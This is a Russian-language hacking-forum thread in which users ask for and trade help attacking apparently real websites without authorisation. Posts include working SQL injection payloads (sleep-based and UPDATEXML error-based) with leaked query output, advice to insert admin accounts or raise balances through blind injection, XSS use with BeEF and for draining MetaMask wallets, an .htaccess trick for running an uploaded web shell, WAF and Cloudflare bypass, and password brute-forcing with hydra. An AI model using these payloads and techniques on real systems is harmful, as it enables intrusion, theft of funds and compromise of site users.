• XSS.stack #1 – первый литературный журнал от юзеров форума

[web-hacking] Ваши вопросы

Там где я ковыряю,в принципе вообще все сложно само по себе вот в чем и сложность.Есть еще и XSS(нашел и выявил ее даже),но она я так понял отраженная.Единственное,что у меня там есть так это личный кабинет только и я никому не могу в принципе вообще там написать,что-бы впарить хотя бы,что-то какому нить юзверю,даже админу не могу написать.Есть просто доступ к моему кабинету вот и все!!!Вот в чем заключается сама сложность!Из SQL иньекции у меня есть подсказка в виде запроса '+(select*from(select(sleep(20))) a) +'
Ну если sleep(20) там и запрос к ендпоинту выполняется ~20 секунд - значит скуля точно есть.
 
Ну если sleep(20) там и запрос к ендпоинту выполняется ~20 секунд - значит скуля точно есть.
Хреново то, что я хреново в этом соображаю в этих слепых SQL -ях. Перекопал весь гугл( ну почти весь) и не до конца все понял.Вот в какую сторону мне рыть вообще? Я не очень понял суть этого запрооса. Если бы я знал, то обязательно двигался бы правильным путем... (Бля, шел 4-й час ночи😁) А я все застрял и где то хожу вокруг да около!) Дай совет!
 
Я копаюсь в запросах как червяк
С детства жизнь моя наперекосяк
Форма login — моя дверь
Но я счастлив по-своему, поверь
Двадцать лет назад сгорел родной мой комп
Тулзы, кошели, всё сгорело в нём
И теперь я побираюсь двадцать лет
Кому нужен старый некудышный white hat?
А я скан запущу — строки с grep сохраню
Поскроллю и close window домой
Не жалейте меня, я прекрасно живу
Только bounty охота порой
 
DB: mysql
Type: error based sqli
Working payload: UPDATEXML(2883, CONCAT(0x2e, (select @@version )), 9032)
MySQL Query : SELECT `catid`,`url`,`thumb`,`title`,`stars`,`copytype`,`filesize2` FROM `qwe`.`v9_download` WHERE status=99 and is_hide!=1 and catid in (UPDATEXML(2883, CONCAT(0x2e, (select @@version )), 9032)) and lianwang=2 and classtype like '%,1,%' ORDER BY down_num desc LIMIT 50/* /index.php?a=sj_xzph_ajax&app_classtype=1&c=index&catid=UPDATEXML(2883,%20CONCAT(0x2e,%20(select%20@@version%20)),%209032)&lianwang=2&m=content&pc_hash=WrCDxe */
MySQL Error : XPATH syntax error: '5.6.48-log'
MySQL Errno : 1105
Message : XPATH syntax error: '5.6.48-log'



я знаю, что там есть таблицы v9_admin мне надо оттуда вывести нужные мне данные колонки, но есть проблема, то, что SELECT username FROM v9_admin - банит вафка)


UPDATEXML(2883, CONCAT(0x2e, (select @@version from dual )), 9032) = block


网站防火墙
ответ вафки
您的请求带有不合法参数,已被网站管理员设置拦截!


важно заметить что, когда выпадает select либо from, вафка пропускает((
UPDATEXML(2883, CONCAT(0x2e, ( @@version from dual )), 9032)
 
Хреново то, что я хреново в этом соображаю в этих слепых SQL -ях. Перекопал весь гугл( ну почти весь) и не до конца все понял.Вот в какую сторону мне рыть вообще? Я не очень понял суть этого запрооса. Если бы я знал, то обязательно двигался бы правильным путем... (Бля, шел 4-й час ночи😁) А я все застрял и где то хожу вокруг да около!) Дай совет!
В них все "хреново соображают" потому что ты не получаешь feedback явный от системы когда туда SQLi суёшь, потому и "слепая" инъекция. Поэтому названия таблиц и полей надо "угадать" (читай "перебрать") как пароли, но если пароли могут быть что угодно, то таблицы и поля в них называются обычно straightforward без особых заморочек: users, accounts, transactions, login, name, email, etc. (у "особо одарённых" - "polzovateli" или "tranzakcii" или "transaccii" - да так тоже бывает если в сердце живёт любовь к русскому языку 1C :))
Ну и как понимаешь SELECT там делать - бесполезно, оно взад ничего не выдаст в ответ потому что.
Соответственно надо что-то изменить/добавить/удалить (UPDATE/INSERT/DELETE) и в другом месте (форма логина в систему - вход добавленным тобой юзером, например) получить результат.
Классический пример выявления - поставить sleep(секунд) и увидеть как ендпоинт "зависает" на это заданное кол-во секунд. Тут важно не переборщить и не словить таймаут банально, обычно 3-5 сек достаточно.
Классический пример эксплуатации - "догадаться" какие поля в таблице юзеров и добавить своего юзера, желательно с правами админа, или добавить финансовую транзакцию в таблицу транзакций и пополнить свой баланс (в особо тупых системах написанных недоразработчиками не знающими про финансовые транзакции и почему надо именно так и не знающими про агрегатные функции SQL'я - просто update сделать поля "баланс" у юзера :) ) , или ещё что-то поменять или добавить, реже удалить, но никогда не пытаться из слепой инъекции что-то в ответ получить.
 
Последнее редактирование:
В них все "хреново соображают" потому что ты не получаешь feedback явный от системы когда туда SQLi суёшь, потому и "слепая" инъекция. Поэтому названия таблиц и полей надо "угадать" (читай "перебрать") как пароли, но если пароли могут быть что угодно, то таблицы и поля в них называются обычно straightforward без особых заморочек: users, accounts, transactions, login, name, email, etc. (у "особо одарённых" - "polzovateli" или "tranzakcii" или "transaccii" - да так тоже бывает если в сердце живёт любовь к русскому языку 1C :))
Ну и как понимаешь SELECT там делать - бесполезно, оно взад ничего не выдаст в ответ потому что.
Соответственно надо что-то изменить/добавить/удалить (UPDATE/INSERT/DELETE) и в другом месте (форма логина в систему - вход добавленным тобой юзером, например) получить результат.
Классический пример выявления - поставить sleep(секунд) и увидеть как ендпоинт "зависает" на это заданное кол-во секунд. Тут важно не переборщить и не словить таймаут банально, обычно 3-5 сек достаточно.
Классический пример эксплуатации - "догадаться" какие поля в таблице юзеров и добавить своего юзера, желательно с правами админа, или добавить финансовую транзакцию в таблицу транзакций и пополнить свой баланс (в особо тупых системах написанных недоразработчиками не знающими про финансовые транзакции и почему надо именно так и не знающими про агрегатные функции SQL'я - просто update сделать поля "баланс" у юзера :) ) , или ещё что-то поменять или добавить, реже удалить, но никогда не пытаться из слепой инъекции что-то в ответ получить.
Ну кстати касательно ты заговорил про финансовые транзакции я тут вспомнил ,да-да их...уязвимость бизнес логики вроде бы да? . Там чрезмерное доверие к элементам управления на стороне клиента, логическая уязвимость высокого уровня, непосредственный контроль безопасности, обход аутентификации с помощью ошибочного конечного автомата, недостаток логики бесконечных денег... И много разных уязвимостей еще можно перечислять. Говорят на криптобиржах это все можно найти... Частенько попадаются не смотря на вроде бы серьезность этих бирж...Где спотовые кошельки особенно, где можно передавать себе же от себя...как то так. Вот там вот!) А кстати про Xss, что сможешь сказать? Я просто представил про sql опять же...и если там подбирать длину и сами пароли по длине, то это не возможно, там знаки, буквы и символы, всех мастей и все в перемешку, но поковыряюсь, очень интересно, авось, че то и выстрелит, но не уверен, может упасть дух!)
 
А кстати про Xss, что сможешь сказать?
XSS вопреки расхожему мнению "это чтобы тырить куки" на самом деле очень мощная атака на клиентов (в противовес тому, что SQLi это атака на сервер, а ещё точнее на базу данных), по сути если у тебя получилось загрузить свой JavaScript код (например твой .js файл откуда-то) в контекст текущей странички сайта, то у тебя полная власть над DOM (и даже над BOM, то есть если у чела криптокошелёк MetaMask как extension и в BOM он имеет имя объекта ethereum - ты ему можешь транзакции предлагать как самый настоящий drainer) в браузере - можно всяко менять страничку, выводить юзеру промпты внезапные в стиле сайта, etc.
Посмотри вот на тот же BeEF например - он позволяет через уже полученный и заэксплуатированный XSS "делать всякое" с браузерами тех, кто попался на твой XSS ;-) Но ессно до тех пор пока юзер не закроет вкладку или не уйдёт со странички. Хотя... ты видел как похабно люди бразуер юзают? Обычно открыты сотни вкладок и они такие "ой что-то мой Core i7 тормозиииит..." :)
Reflected XSS - это ну так фигня - потому что тебе надо как-то ссылку юзерам подсунуть (email, IM, форум, etc.) и чтобы они перешли по ней конкретно, а вот stored XSS - это считай каждый юзер кто на него напорется (когда ты его за'store'ишь на вражьем серваке) будет твой просто по факту захода туда, особенно приятно если ничего не подозревающие юзера там on the daily basis появляются на таком ресурсе :)
 
Я просто представил про sql опять же...и если там подбирать длину и сами пароли по длине, то это не возможно
Ты сейчас про SQLi ? В SQLi не надо "пароли" подбирать - там для "слепых" инъекций надо подбирать имена таблиц и полей в этих таблицах и то возможно не все, а bare minimum, и там врядли будут всякие "крякозяблики" в именах таблиц и полей - этим оно и выгодно отличается от паролей - имена таблиц и полей достаточно легко угадать, и даже найти многие разрабы не парятся и в JSON ответах фигачат прям те же поля в JSON что и поля в БД называются. Я написать "угадать" (читай "подобрать") но трудоёмкость такого подбора существенно проще трудоёмкости подбора паролей, так как таблицы и поля называют очень очевидно разработчики.

Если же ты про SQL сервер сам, то его во-первых нормальные люди "голой жопой" в интернет не выставляют как правило, но уж если он в таком виде там - то грех хотя бы rockyou.txt гидрой не пройтись не побрутить, потому что как правило если админ "недалёкий", то он "недалёкий" во всём :-D
 
XSS вопреки расхожему мнению "это чтобы тырить куки" на самом деле очень мощная атака на клиентов (в противовес тому, что SQLi это атака на сервер, а ещё точнее на базу данных), по сути если у тебя получилось загрузить свой JavaScript код (например твой .js файл откуда-то) в контекст текущей странички сайта, то у тебя полная власть над DOM (и даже над BOM, то есть если у чела криптокошелёк MetaMask как extension и в BOM он имеет имя объекта ethereum - ты ему можешь транзакции предлагать как самый настоящий drainer) в браузере - можно всяко менять страничку, выводить юзеру промпты внезапные в стиле сайта, etc.
Посмотри вот на тот же BeEF например - он позволяет через уже полученный и заэксплуатированный XSS "делать всякое" с браузерами тех, кто попался на твой XSS ;-) Но ессно до тех пор пока юзер не закроет вкладку или не уйдёт со странички. Хотя... ты видел как похабно люди бразуер юзают? Обычно открыты сотни вкладок и они такие "ой что-то мой Core i7 тормозиииит..." :)
Reflected XSS - это ну так фигня - потому что тебе надо как-то ссылку юзерам подсунуть (email, IM, форум, etc.) и чтобы они перешли по ней конкретно, а вот stored XSS - это считай каждый юзер кто на него напорется (когда ты его за'store'ишь на вражьем серваке) будет твой просто по факту захода туда, особенно приятно если ничего не подозревающие юзера там on the daily basis появляются на таком ресурсе :)
Я прекрассно понимаю,что BeeF мощная штука.Сам в одно время чисто изучал ее и просто восхищался ею возможностями.Дело в том,что там Reflected Хss в том то и фишка,да,там ОВЕР много денег крутится....Просто столько,что я щас чуть не матернулся от колличества,но беда в том,что там никому не написать и ничего не отправить....Вот я как и между двух огней между отраженнной Xss и слепой SQL .Это равносильно тому,что ты будешь сидеть связанный перед стулом напротив стеклянного сейфа вроде бы со стеклом,но бронерованым и ты будешь видеть эти деньги,но ничего не сделаешь..Ладно,хрен бы на это все))
 
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=33 AND 1819=1819
---
[19:47:31] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[19:47:31] [INFO] testing MySQL
[19:47:31] [WARNING] the back-end DBMS is not MySQL
[19:47:31] [INFO] testing Oracle
[19:47:31] [WARNING] the back-end DBMS is not Oracle
[19:47:31] [INFO] testing PostgreSQL
[19:47:31] [WARNING] the back-end DBMS is not PostgreSQL
[19:47:31] [INFO] testing Microsoft SQL Server
[19:47:31] [WARNING] the back-end DBMS is not Microsoft SQL Server
[19:47:31] [INFO] testing SQLite
[19:47:31] [WARNING] the back-end DBMS is not SQLite
[19:47:31] [INFO] testing Microsoft Access
[19:47:31] [WARNING] the back-end DBMS is not Microsoft Access
[19:47:31] [INFO] testing Firebird
[19:47:31] [WARNING] the back-end DBMS is not Firebird
[19:47:31] [INFO] testing SAP MaxDB
[19:47:31] [WARNING] the back-end DBMS is not SAP MaxDB
[19:47:31] [INFO] testing Sybase
[19:47:31] [WARNING] the back-end DBMS is not Sybase
[19:47:31] [INFO] testing IBM DB2
[19:47:31] [WARNING] the back-end DBMS is not IBM DB2
[19:47:31] [INFO] testing HSQLDB
[19:47:31] [WARNING] the back-end DBMS is not HSQLDB
[19:47:31] [INFO] testing H2
[19:47:31] [WARNING] the back-end DBMS is not H2
[19:47:31] [INFO] testing Informix
[19:47:31] [WARNING] the back-end DBMS is not Informix
[19:47:31] [INFO] testing MonetDB
[19:47:31] [WARNING] the back-end DBMS is not MonetDB
[19:47:31] [INFO] testing Apache Derby
[19:47:31] [WARNING] the back-end DBMS is not Apache Derby
[19:47:31] [INFO] testing Vertica
[19:47:31] [WARNING] the back-end DBMS is not Vertica
[19:47:31] [INFO] testing Mckoi
[19:47:31] [WARNING] the back-end DBMS is not Mckoi
[19:47:31] [INFO] testing Presto
[19:47:31] [WARNING] the back-end DBMS is not Presto
[19:47:31] [INFO] testing Altibase
[19:47:31] [WARNING] the back-end DBMS is not Altibase
[19:47:31] [INFO] testing MimerSQL
[19:47:31] [WARNING] the back-end DBMS is not MimerSQL
[19:47:31] [INFO] testing ClickHouse
[19:47:31] [WARNING] the back-end DBMS is not ClickHouse
[19:47:31] [INFO] testing CrateDB
[19:47:31] [WARNING] the back-end DBMS is not CrateDB
[19:47:31] [INFO] testing Cubrid
[19:47:31] [WARNING] the back-end DBMS is not Cubrid
[19:47:31] [INFO] testing InterSystems Cache
[19:47:31] [WARNING] the back-end DBMS is not InterSystems Cache
[19:47:31] [INFO] testing eXtremeDB
[19:47:31] [WARNING] the back-end DBMS is not eXtremeDB
[19:47:31] [INFO] testing FrontBase
[19:47:31] [WARNING] the back-end DBMS is not FrontBase
[19:47:31] [INFO] testing Raima Database Manager
[19:47:31] [WARNING] the back-end DBMS is not Raima Database Manager
[19:47:31] [INFO] testing Virtuoso
[19:47:31] [WARNING] the back-end DBMS is not Virtuoso
[19:47:31] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system
это вафка так работает?
 
Ну пусть это будет секретом,но если доберусь,то обещаю,что именно с тобой как раз таки поделюсь так как ты мне помогаешь .Даю тебе слово,что поделюсь.Мне честно этого говна не жалко.Вот приобретение опыта куда интереснее и важнее для меня!
интересно где?
 
Всем привет, возможно кто-то знает как обойти 403 ошибку на открытие расширения .php, суть такая на сайт заливаю шелл, но в этом патхе стоит ограничение, попробовал изменить расширение .pHp просто скачивает файл, при внедрении кода в картинку ничего не срабатывает, записать какой-либо файл из БД тоже не дает (креды от root), нулевой байт и двойное расширение тоже не работает, может есть какие-то альтернативные методы закинуть шелл, буду благодарен если подскажите.
 
чтобы картинка срабатывала надо доливать свой .htaccess
.php5 тоже не работает? есть phpinfo с сервера? и нужно смотреть почему именно 403, может можно перезаписать правило.
 
чтобы картинка срабатывала надо доливать свой .htaccess
.php5 тоже не работает? есть phpinfo с сервера? и нужно смотреть почему именно 403, может можно перезаписать правило.
phpinfo нет к сожалению, .php5 он просто скачивает :(
 
попробуй залить .htaccess например AddType application/x-httpd-php .jpg либо найти LFI и заинклюдить свой шелл из него
 
попробуй залить .htaccess например AddType application/x-httpd-php .jpg либо найти LFI и заинклюдить свой шелл из него
Поищу и забыл сказать веб-сервер nginx
 
акунетикс нашёл две уязвимости time,boolean и накинул пейлоадов . тайм крутиться через sqlmap ,но долго(вывел только имена бд) пробую крутить булеан,подставляю true и false поочереди в бёрп через репитер и в ответах нет никакой разницы(смотрю на content-length и страницу через render) мап тоже соответственно прицепиться не может

подскажите на что стоит обратить внимание и что попробовать ?
 
акунетикс нашёл две уязвимости time,boolean и накинул пейлоадов . тайм крутиться через sqlmap ,но долго(вывел только имена бд) пробую крутить булеан,подставляю true и false поочереди в бёрп через репитер и в ответах нет никакой разницы(смотрю на content-length и страницу через render) мап тоже соответственно прицепиться не может

подскажите на что стоит обратить внимание и что попробовать ?
попробуй установи дополнение Agartha в бёрпе и сгенерируй пэйлоадов булеан с waf bypath и пропусти их через интрудер
и посмотри есть ли ошибки 403 500 и подобные. Если 403 то либо тамперы или же пытаться так же через агарту обойти(там обход 403 тоже есть). Если активный cloudflare, то поможет только поиск реального ip, если же cloudflare без активной защиты то нужно стараться найти самую простую страницу со скулей(если их несколько, как я заметил что обычно в апи или post запрос страницах скули раскручиваются без проблем в сравнении с массивными страницами с кучей элементов)
 
Последнее редактирование:
попробуй установи дополнение Agartha в бёрпе и сгенерируй пэйлоадов булеан с waf bypath и пропусти их через интрудер
и посмотри есть ли ошибки 403 500 и подобные. Если 403 то либо тамперы или же пытаться так же через агарту обойти(там обход 403 тоже есть). Если активный cloudflare, то поможет только поиск реального ip, если же cloudflare без активной защиты то нужно стараться найти самую простую страницу со скулей(если их несколько, как я заметил что обычно в апи или post запрос страницах скули раскручиваются без проблем в сравнении с массивными страницами с кучей элементов)
реальный ип уже нашёл и все манипуляции проводил указывая его как host , не знаешь почему нет разницы в ответах ? акунетикс же как то смог отличить true от false
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх